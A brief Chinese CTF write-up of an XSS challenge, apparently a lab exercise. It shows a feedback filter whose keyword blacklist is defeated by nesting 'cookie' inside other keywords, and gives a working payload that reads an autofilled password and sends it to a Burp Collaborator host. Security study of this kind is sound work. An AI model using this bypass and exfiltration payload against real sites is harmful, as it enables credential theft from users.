知识点:xss
分析
两个有源码的地方,一个在登录页面login.js
。
我们发现在login.js
中会存用户名和密码。
if (document.cookie && document.cookie != '') {
var cookies = document.cookie.split('; ');
var cookie = {};
for (var i = 0; i < cookies.length; i++) {
var arr = cookies[i].split('=');
var key = arr[0];
cookie[key] = arr[1];
} //存cookie,键名和值分开
if(typeof(cookie['user']) != "undefined" && typeof(cookie['psw']) != "undefined"){
//存用户名和密码
document.getElementsByName("username")[0].value = cookie['user'];
document.getElementsByName("password")[0].value = cookie['psw'];
}
}
在反馈页面有一段php代码,有个黑名单,用了str_ireplace覆盖,我们可以用两个过滤的关键词绕过。例如:
feedback=sccookieript => 这样在黑名但执行到script的时候没检测到,知道黑名单为cookie的时候,把cookie覆盖为空,此时feedback=script
if(is_array($feedback)){
echo "<script>alert('反馈不合法');</script>";
return false;
}
$blacklist = ['_','\'','&','\\','#','%','input','script','iframe','host','onload','onerror','srcdoc','location','svg','form','img','src','getElement','document','cookie'];
foreach ($blacklist as $val) {
while(true){
if(stripos($feedback,$val) !== false){
$feedback = str_ireplace($val,"",$feedback);
}else{
break;
}
}
}
exp
在login.js中已经告诉我们存储密码的标签名字和元素位置了,最后把密码发到我们本地就行了。
<incookieput type="text" name="username">
<incookieput type="password" name="password">
<scrcookieipt scookierc="./js/login.js"></scrcookieipt>
<scrcookieipt>
var psw = docucookiement.getcookieElementsByName("password")[0].value;
docucookiement.locacookietion="http://ridwy9iu2miyl3ok1qhpsri15sbjz8.burpcollaborator.net/?a="+psw;
</scrcookieipt>
在反馈的页面提交一下,在访问一下。
用burpsuit来接收一下就可以了。